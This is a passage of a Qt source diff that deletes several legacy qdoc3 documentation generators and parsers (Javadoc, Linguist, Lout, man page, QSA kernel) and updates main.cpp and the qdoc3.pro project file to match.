CodeMarker *marker) -{ - const Text &text = node->doc().body(); - if (!text.isEmpty()) { - out() << " doc=\"/**\n"; - Generator::generateStatus(node, marker); - generateText(text, node, marker); - if (node && node->type() == Node::Function) { - const FunctionNode *func = static_cast(node); - if (func->metaness() == FunctionNode::Signal) { - QStringList slotSignatures; - for (int i = func->parameters().count(); i >= 0; --i) - slotSignatures += javaSignature(func, SlotSignature, i); - - Text text; - - text << Atom(Atom::ListLeft, ATOM_LIST_TAG) - << Atom(Atom::ListTagLeft, ATOM_LIST_TAG) - << Atom(Atom::FormattingLeft, ATOM_FORMATTING_BOLD); - - if (slotSignatures.count() == 1) { - text << "Compatible Slot Signature:"; - } else { - text << "Compatible Slot Signatures:"; - } - - text << Atom(Atom::FormattingRight, ATOM_FORMATTING_BOLD) - << Atom(Atom::ListTagRight, ATOM_LIST_TAG); - - for (int i = 0; i < slotSignatures.count(); ++i) { - text << Atom(Atom::ListItemLeft, ATOM_LIST_TAG) - << Atom(Atom::C, marker->markedUpCode(slotSignatures.at(i), 0, "")) - << Atom(Atom::ListItemRight, ATOM_LIST_TAG); - } - text << Atom(Atom::ListRight, ATOM_LIST_TAG); - generateText(text, node, marker); - } - } - if (node) - generateAlsoList(node, marker); - out() << " */\""; - } -} - -void JavadocGenerator::generateEnumItemDoc(const Text &text, const Node *node, CodeMarker *marker) -{ - out() << " doc=\"/**\n"; - if (text.isEmpty()) { - out() << "Internal."; - } else { - generateText(text, node, marker); - } - out() << " */\""; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/javadocgenerator.h b/tools/qdoc3/javadocgenerator.h deleted file mode 100644 index b485502..0000000 --- a/tools/qdoc3/javadocgenerator.h +++ /dev/null @@ -1,95 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef JAVADOCGENERATOR_H -#define JAVADOCGENERATOR_H - -#include "htmlgenerator.h" - -QT_BEGIN_NAMESPACE - -class JavadocGenerator : public HtmlGenerator -{ -public: - JavadocGenerator(); - ~JavadocGenerator(); - - void initializeGenerator(const Config &config); - void terminateGenerator(); - QString format(); - bool canHandleFormat(const QString &format) { return format == "HTML" || format == "javadoc"; } - void generateTree(const Tree *tree, CodeMarker *marker); - QString typeString(const Node *node); - QString imageFileName(const Node *relative, const QString &fileBase); - -protected: - QString fileExtension(const Node *node) const; - void startText( const Node *relative, CodeMarker *marker ); - void endText( const Node *relative, CodeMarker *marker ); - int generateAtom( const Atom *atom, const Node *relative, CodeMarker *marker ); - void generateClassLikeNode(const InnerNode *inner, CodeMarker *marker); - void generateFakeNode( const FakeNode *fake, CodeMarker *marker ); - - bool generateText( const Text& text, const Node *relative, CodeMarker *marker ); - void generateBody( const Node *node, CodeMarker *marker ); - void generateAlsoList( const Node *node, CodeMarker *marker ); - - QString refForNode( const Node *node ); - QString linkForNode( const Node *node, const Node *relative ); - QString refForAtom(Atom *atom, const Node *node); - -private: - void generateDcf(const QString &fileBase, const QString &startPage, - const QString &title, DcfSection &dcfRoot); - void generateIndex(const QString &fileBase, const QString &url, - const QString &title); - void generateIndent(); - void generateDoc(const Node *node, CodeMarker *marker); - void generateEnumItemDoc(const Text &text, const Node *node, CodeMarker *marker); - - QString buffer; - QIODevice *oldDevice; - int currentDepth; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/linguistgenerator.cpp b/tools/qdoc3/linguistgenerator.cpp deleted file mode 100644 index 702f0fb..0000000 --- a/tools/qdoc3/linguistgenerator.cpp +++ /dev/null @@ -1,245 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - linguistgenerator.cpp -*/ - -#include "codemarker.h" -#include "pagegenerator.h" -#include "linguistgenerator.h" -#include "node.h" -#include "separator.h" -#include "tree.h" -#include - -#include -#include - -QT_BEGIN_NAMESPACE - -#define COMMAND_VERSION Doc::alias("version") - -LinguistGenerator::LinguistGenerator() - : PageGenerator() -{ -} - -LinguistGenerator::~LinguistGenerator() -{ -} - -void LinguistGenerator::initializeGenerator(const Config &config) -{ - Generator::initializeGenerator(config); -} - -void LinguistGenerator::terminateGenerator() -{ - PageGenerator::terminateGenerator(); -} - -QString LinguistGenerator::format() -{ - return "Linguist"; -} - -QString LinguistGenerator::fileExtension(const Node * /* node */) const -{ - return "ts"; -} - -void LinguistGenerator::generateClassLikeNode(const InnerNode *inner, CodeMarker *marker) -{ - out().setCodec("UTF-8"); - - QDomDocument document("TS"); - QDomElement documentElement = document.createElement("TS"); - documentElement.setAttribute("version", "1.1"); - - QList contextElements = generateIndexSections(document, inner, marker); - foreach (const QDomElement &element, contextElements) - documentElement.appendChild(element); - - QDomProcessingInstruction process = document.createProcessingInstruction( - "xml", QString("version=\"1.0\" encoding=\"%1\"").arg("UTF-8")); - document.appendChild(process); - document.appendChild(documentElement); - - out() << document; - out().flush(); -} - -void LinguistGenerator::generateFakeNode( const FakeNode *fake, CodeMarker *marker ) -{ - out().setCodec("utf-8"); - - QDomDocument document("TS"); - QDomElement documentElement = document.createElement("TS"); - documentElement.setAttribute("version", "1.1"); - - QList contextElements = generateIndexSections(document, fake, marker); - foreach (const QDomElement &element, contextElements) - documentElement.appendChild(element); - - QDomProcessingInstruction process = document.createProcessingInstruction( - "xml", QString("version=\"1.0\" encoding=\"%1\"").arg("utf-8")); - document.appendChild(process); - document.appendChild(documentElement); - - out() << document; - out().flush(); -} - -QList LinguistGenerator::generateIndexSections( - QDomDocument &document, const Node *node, CodeMarker *marker) -{ - QList contexts; - - if (node->isInnerNode()) { - const InnerNode *inner = static_cast(node); - - foreach (const Node *child, inner->childNodes()) { - // Recurse to generate a DOM element for this child node and all - // its children. - contexts += generateIndexSections(document, child, marker); - } -/* - foreach (const Node *child, inner->relatedNodes()) { - QDomElement childElement = generateIndexSections(document, child, marker); - element.appendChild(childElement); - } -*/ - } - - // Add documentation to this node if it exists. - if (!node->doc().isEmpty()) { - - QString nodeName = fullName(node); - QString signature; - - if (node->type() == Node::Function) { - QStringList pieces; - const FunctionNode *functionNode = static_cast(node); - foreach (const Parameter ¶meter, functionNode->parameters()) { - QString typeString = parameter.leftType() + parameter.rightType(); - if (typeString.split(" ").size() > 1) - pieces.append(typeString + parameter.name()); - else - pieces.append(typeString + " " + parameter.name()); - } - signature = "(" + pieces.join(", ") + ")"; - } - - QDomElement contextElement = document.createElement("context"); - QDomElement nameElement = document.createElement("name"); - nameElement.appendChild(document.createTextNode(nodeName + signature)); - contextElement.appendChild(nameElement); - - QDomElement messageElement = document.createElement("message"); - contextElement.appendChild(messageElement); - - QDomElement sourceElement = document.createElement("source"); - QString sourceText = simplified(node->doc().source()); - if (!signature.isEmpty() && signature != "()" && !sourceText.contains("\\fn")) - sourceText.prepend(QString("\\fn %1%2\n").arg(nodeName).arg(signature)); - sourceElement.appendChild(document.createTextNode(sourceText)); - messageElement.appendChild(sourceElement); - - QDomElement translationElement = document.createElement("translation"); - translationElement.setAttribute("type", "unfinished"); - messageElement.appendChild(translationElement); - - QDomElement locationElement = document.createElement("location"); - locationElement.setAttribute("filename", node->doc().location().filePath()); - locationElement.setAttribute("line", node->doc().location().lineNo()); - messageElement.appendChild(locationElement); - - contexts.append(contextElement); - } - - return contexts; -} - -QString LinguistGenerator::fullName(const Node *node) const -{ - if (!node) - return ""; - else if (node->parent() && !node->parent()->name().isEmpty()) - return fullName(node->parent()) + "::" + node->name(); - else - return node->name(); -} - -QString LinguistGenerator::simplified(const QString &text) const -{ - QStringList lines = text.split("\n"); - - while (lines.size() > 0 && lines.first().trimmed().isEmpty()) - lines.pop_front(); - - while (lines.size() > 0 && lines.last().trimmed().isEmpty()) - lines.pop_back(); - - int min = 0; - bool set = false; - foreach (const QString &line, lines) { - int j = 0; - while (j < line.length()) { - if (line[j] != ' ') - break; - ++j; - } - if (j < line.length()) { - if (!set) { - min = j; - set = true; - } else - min = qMin(min, j); - } - } - for (int i = 0; i < lines.size(); ++i) - lines[i] = lines[i].mid(min); - - return lines.join("\n"); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/linguistgenerator.h b/tools/qdoc3/linguistgenerator.h deleted file mode 100644 index 979db02..0000000 --- a/tools/qdoc3/linguistgenerator.h +++ /dev/null @@ -1,85 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - LinguistGenerator.h -*/ - -#ifndef LINGUISTGENERATOR_H -#define LINGUISTGENERATOR_H - -#include -#include -#include - -#include "codemarker.h" -#include "config.h" -#include "pagegenerator.h" - -QT_BEGIN_NAMESPACE - -class LinguistGenerator : public PageGenerator -{ -public: - LinguistGenerator(); - ~LinguistGenerator(); - - virtual void initializeGenerator( const Config& config ); - virtual void terminateGenerator(); - virtual QString format(); - -protected: - virtual void generateClassLikeNode(const InnerNode *inner, - CodeMarker *marker); - virtual void generateFakeNode( const FakeNode *fake, CodeMarker *marker ); - virtual QString fileExtension(const Node *node) const; - - QList generateIndexSections(QDomDocument &document, - const Node *node, CodeMarker *marker); - virtual QString fullName(const Node *node) const; - -private: - QString simplified(const QString &text) const; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/loutgenerator.cpp b/tools/qdoc3/loutgenerator.cpp deleted file mode 100644 index caf98e8..0000000 --- a/tools/qdoc3/loutgenerator.cpp +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - loutgenerator.cpp -*/ - -#include "loutgenerator.h" - -QT_BEGIN_NAMESPACE - -LoutGenerator::LoutGenerator() -{ -} - -LoutGenerator::~LoutGenerator() -{ -} - -QString LoutGenerator::format() -{ - return "lout"; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/loutgenerator.h b/tools/qdoc3/loutgenerator.h deleted file mode 100644 index 484d38f..0000000 --- a/tools/qdoc3/loutgenerator.h +++ /dev/null @@ -1,67 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - loutgenerator.h -*/ - -#ifndef LOUTGENERATOR_H -#define LOUTGENERATOR_H - -#include "bookgenerator.h" - -QT_BEGIN_NAMESPACE - -class LoutGenerator : public BookGenerator -{ -public: - LoutGenerator(); - ~LoutGenerator(); - - virtual QString format(); - -protected: - // ### -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp index 85b23e9..7459e40 100644 --- a/tools/qdoc3/main.cpp +++ b/tools/qdoc3/main.cpp @@ -51,22 +51,11 @@ #include "config.h" #include "cppcodemarker.h" #include "cppcodeparser.h" -#include "cpptoqsconverter.h" #include "doc.h" #include "htmlgenerator.h" -#include "jambiapiparser.h" -#include "javacodemarker.h" -#include "javadocgenerator.h" -#include "linguistgenerator.h" -#include "loutgenerator.h" -#include "mangenerator.h" #include "plaincodemarker.h" #include "polyarchiveextractor.h" #include "polyuncompressor.h" -#include "qsakernelparser.h" -#include "qscodemarker.h" -#include "qscodeparser.h" -#include "sgmlgenerator.h" #include "webxmlgenerator.h" #include "ditaxmlgenerator.h" #include "tokenizer.h" @@ -210,7 +199,6 @@ static void processQdocconfFile(const QString &fileName) Location::initialize(config); Tokenizer::initialize(config); Doc::initialize(config); - CppToQsConverter::initialize(config); CodeMarker::initialize(config); CodeParser::initialize(config); Generator::initialize(config); @@ -355,7 +343,6 @@ static void processQdocconfFile(const QString &fileName) Generator::terminate(); CodeParser::terminate(); CodeMarker::terminate(); - CppToQsConverter::terminate(); Doc::terminate(); Tokenizer::terminate(); Location::terminate(); @@ -408,25 +395,14 @@ int main(int argc, char **argv) CppCodeParser cppParser; Tree *cppTree = treeForLanguage(cppParser.language()); - QsCodeParser qsParser(cppTree); - QsaKernelParser qsaKernelParser(cppTree); - JambiApiParser jambiParser(cppTree); - /* - Create code markers for plain text, C++, Java, and qs. + Create code markers for plain text and C++. */ PlainCodeMarker plainMarker; CppCodeMarker cppMarker; - JavaCodeMarker javaMarker; - QsCodeMarker qsMarker; ApiGenerator apiGenerator; HtmlGenerator htmlGenerator; - JavadocGenerator javadocGenerator; - LinguistGenerator linguistGenerator; - LoutGenerator loutGenerator; - ManGenerator manGenerator; - SgmlGenerator smglGenerator; WebXMLGenerator webxmlGenerator; DitaXmlGenerator ditaxmlGenerator; diff --git a/tools/qdoc3/mangenerator.cpp b/tools/qdoc3/mangenerator.cpp deleted file mode 100644 index 1e85b73..0000000 --- a/tools/qdoc3/mangenerator.cpp +++ /dev/null @@ -1,228 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - mangenerator.cpp -*/ - -#include -#include - -#include "mangenerator.h" -#include "node.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -ManGenerator::ManGenerator() -{ - date = QDate::currentDate().toString( "d MMMM yyyy" ); -} - -ManGenerator::~ManGenerator() -{ -} - -QString ManGenerator::format() -{ - return "man"; -} - -int ManGenerator::generateAtom( const Atom *atom, const Node * /* relative */, - CodeMarker * /* marker */ ) -{ -#if 0 - switch ( atom->type() ) { - case Atom::AbstractBegin: - break; - case Atom::AbstractEnd: - break; - case Atom::Alias: - break; - case Atom::AliasArg: - break; - case Atom::BaseName: - break; - case Atom::BriefBegin: - break; - case Atom::BriefEnd: - break; - case Atom::C: - break; - case Atom::CaptionBegin: - break; - case Atom::CaptionEnd: - break; - case Atom::CitationBegin: - break; - case Atom::CitationEnd: - break; - case Atom::Code: - break; - case Atom::FootnoteBegin: - break; - case Atom::FootnoteEnd: - break; - case Atom::FormatBegin: - break; - case Atom::FormatEnd: - break; - case Atom::GeneratedList: - break; - case Atom::Image: - break; - case Atom::ImageText: - break; - case Atom::Link: - break; - case Atom::LinkNode: - break; - case Atom::ListBegin: - break; - case Atom::ListItemNumber: - break; - case Atom::ListItemBegin: - out() << ".IP " << atom->string() << ".\n"; - break; - case Atom::ListItemEnd: - break; - case Atom::ListEnd: - break; - case Atom::Nop: - break; - case Atom::ParaBegin: - out() << ".PP\n"; - break; - case Atom::ParaEnd: - out() << "\n"; - break; - case Atom::RawFormat: - break; - case Atom::RawString: - break; - case Atom::SectionBegin: - break; - case Atom::SectionEnd: - break; - case Atom::SectionHeadingBegin: - break; - case Atom::SectionHeadingEnd: - break; - case Atom::SidebarBegin: - break; - case Atom::SidebarEnd: - break; - case Atom::String: - out() << protectTextLine( atom->string() ); - break; - case Atom::TableBegin: - break; - case Atom::TableEnd: - break; - case Atom::TableOfContents: - break; - case Atom::Target: - break; - case Atom::UnknownCommand: - ; - } -#endif - unknownAtom( atom ); - return 0; -} - -void ManGenerator::generateClassLikeNode( const InnerNode *classe, - CodeMarker *marker ) -{ - generateHeader( classe->name() ); - out() << ".SH NAME\n" - << classe->name() << "\n" - << ".SH SYNOPSYS\n"; - generateBody( classe, marker ); - generateFooter(); -} - -void ManGenerator::generateFakeNode( const FakeNode *fake, CodeMarker *marker ) -{ - generateHeader( "foo" ); - generateBody( fake, marker ); - generateFooter(); -} - -QString ManGenerator::fileExtension(const Node * /* node */) const -{ - return "3qt"; -} - -void ManGenerator::generateHeader( const QString& name ) -{ - out() << ".TH " << protectArg( name ) - << " " << protectArg( "3qt" ) - << " " << protectArg( date ) - << " " << protectArg( "Nokia Corporation and/or its subsidiary(-ies)" ) - << " " << protectArg( "Qt Toolkit" ) << "\n"; -} - -void ManGenerator::generateFooter() -{ -} - -QString ManGenerator::protectArg( const QString& str ) -{ - for ( int i = 0; i < (int) str.length(); i++ ) { - if ( str[i] == ' ' || str[i].isSpace() ) { - QString quoted = str; - quoted.replace( "\"", "\"\"" ); - return "\"" + quoted + "\""; - } - } - return str; -} - -QString ManGenerator::protectTextLine( const QString& str ) -{ - QString t = str; - if ( t.startsWith(".") || t.startsWith("'") ) - t.prepend( "\\&" ); - return t; -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/mangenerator.h b/tools/qdoc3/mangenerator.h deleted file mode 100644 index 0fca342..0000000 --- a/tools/qdoc3/mangenerator.h +++ /dev/null @@ -1,79 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - mangenerator.h -*/ - -#ifndef MANGENERATOR_H -#define MANGENERATOR_H - -#include "pagegenerator.h" - -QT_BEGIN_NAMESPACE - -class ManGenerator : public PageGenerator -{ -public: - ManGenerator(); - ~ManGenerator(); - - virtual QString format(); - -protected: - virtual int generateAtom( const Atom *atom, const Node *relative, - CodeMarker *marker ); - virtual void generateClassLikeNode(const InnerNode *node, CodeMarker *marker); - virtual void generateFakeNode( const FakeNode *fake, CodeMarker *marker ); - virtual QString fileExtension(const Node *node) const; - -private: - void generateHeader( const QString& name ); - void generateFooter(); - QString protectArg( const QString& str ); - QString protectTextLine( const QString& str ); - - QString date; -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro index d47e066..9b76d97 100644 --- a/tools/qdoc3/qdoc3.pro +++ b/tools/qdoc3/qdoc3.pro @@ -27,7 +27,6 @@ CONFIG -= app_bundle HEADERS += apigenerator.h \ archiveextractor.h \ atom.h \ - bookgenerator.h \ ccodeparser.h \ codechunk.h \ codemarker.h \ @@ -36,33 +35,21 @@ HEADERS += apigenerator.h \ config.h \ cppcodemarker.h \ cppcodeparser.h \ - cpptoqsconverter.h \ - dcfsection.h \ ditaxmlgenerator.h \ doc.h \ editdistance.h \ generator.h \ helpprojectwriter.h \ htmlgenerator.h \ - jambiapiparser.h \ - javacodemarker.h \ - javadocgenerator.h \ - linguistgenerator.h \ location.h \ - loutgenerator.h \ - mangenerator.h \ node.h \ openedlist.h \ pagegenerator.h \ plaincodemarker.h \ polyarchiveextractor.h \ polyuncompressor.h \ - qsakernelparser.h \ - qscodemarker.h \ - qscodeparser.h \ quoter.h \ separator.h \ - sgmlgenerator.h \ text.h \ tokenizer.h \ tr.h \ @@ -72,7 +59,6 @@ HEADERS += apigenerator.h \ SOURCES += apigenerator.cpp \ archiveextractor.cpp \ atom.cpp \ - bookgenerator.cpp \ ccodeparser.cpp \ codechunk.cpp \ codemarker.cpp \ @@ -81,21 +67,13 @@ SOURCES += apigenerator.cpp \ config.cpp \ cppcodemarker.cpp \ cppcodeparser.cpp \ - cpptoqsconverter.cpp \ - dcfsection.cpp \ ditaxmlgenerator.cpp \ doc.cpp \ editdistance.cpp \ generator.cpp \ helpprojectwriter.cpp \ htmlgenerator.cpp \ - jambiapiparser.cpp \ - javacodemarker.cpp \ - javadocgenerator.cpp \ - linguistgenerator.cpp \ location.cpp \ - loutgenerator.cpp \ - mangenerator.cpp \ main.cpp \ node.cpp \ openedlist.cpp \ @@ -103,12 +81,8 @@ SOURCES += apigenerator.cpp \ plaincodemarker.cpp \ polyarchiveextractor.cpp \ polyuncompressor.cpp \ - qsakernelparser.cpp \ - qscodemarker.cpp \ - qscodeparser.cpp \ quoter.cpp \ separator.cpp \ - sgmlgenerator.cpp \ text.cpp \ tokenizer.cpp \ tree.cpp \ diff --git a/tools/qdoc3/qsakernelparser.cpp b/tools/qdoc3/qsakernelparser.cpp deleted file mode 100644 index 8f12eda..0000000 --- a/tools/qdoc3/qsakernelparser.cpp +++ /dev/null @@ -1,186 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include - -#include "qsakernelparser.h" -#include "tokenizer.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -QsaKernelParser::QsaKernelParser( Tree *cppTree ) - : cppTre( cppTree ) -{ -} - -QsaKernelParser::~QsaKernelParser() -{ -} - -QString QsaKernelParser::language() -{ - return "QSA Kernel C++"; -} - -QString QsaKernelParser::sourceFileNameFilter() -{ - return "*.cpp"; -} - -void QsaKernelParser::parseSourceFile( const Location& location, - const QString& filePath, - Tree * /* tree */ ) -{ - QFile in(filePath); - if (!in.open(QIODevice::ReadOnly)) { - location.error( tr("Cannot open QSA kernel file '%1'").arg(filePath) ); - return; - } - - Location fileLocation( filePath ); - Tokenizer fileTokenizer( fileLocation, in ); - tokenizer = &fileTokenizer; - readToken(); - - QString ident; - QString className; - int delimDepth = 0; - - while ( tok != Tok_Eoi ) { - if ( tok == Tok_Ident ) { - ident = tokenizer->lexeme(); - readToken(); - if ( tok == Tok_Gulbrandsen && tokenizer->braceDepth() == 0 && - tokenizer->parenDepth() == 0 ) { - className = ident; - } else if ( ident.startsWith("add") && ident.endsWith("Member") && - tok == Tok_LeftParen ) { - bool isProperty = ident.endsWith( "VariableMember" ); - bool isStatic = ident.startsWith( "addStatic" ); - bool isWritable = !isStatic; - - readToken(); - if ( tok == Tok_String ) { - QString member = tokenizer->lexeme(); - member = member.mid( 1, member.length() - 2 ); - - readToken(); - if ( tok == Tok_Comma ) - readToken(); - if ( tok == Tok_Ident && tokenizer->lexeme() == "QSMember" ) - readToken(); - if ( tok == Tok_LeftParen ) { - delimDepth++; - readToken(); - } - - while ( tok != Tok_Eoi && tok != Tok_RightParen && - tok != Tok_Semicolon ) { - if ( tok == Tok_Ident ) { - ident = tokenizer->lexeme(); - if ( ident == "Custom" ) { - isProperty = true; - } else if ( ident == "AttributeNonWritable" ) { - isWritable = false; - } else if ( ident == "AttributeStatic" ) { - isStatic = true; - } - } - readToken(); - } - - ClassNode *classe = - (ClassNode *) cppTre->findNode( QStringList(className), - Node::Class ); - if ( classe == 0 ) { - classe = new ClassNode( cppTre->root(), className ); - classe->setLocation( tokenizer->location() ); - } - - if ( isProperty ) { - PropertyNode *property = new PropertyNode(classe, member); - property->setLocation( tokenizer->location() ); - property->setDataType( "Object" ); -#if 0 - property->setGetter( member ); - if ( isWritable ) { - QString setter = member; - setter[0] = setter[0].toUpper(); - setter.prepend( "set" ); - property->setSetter( setter ); - } 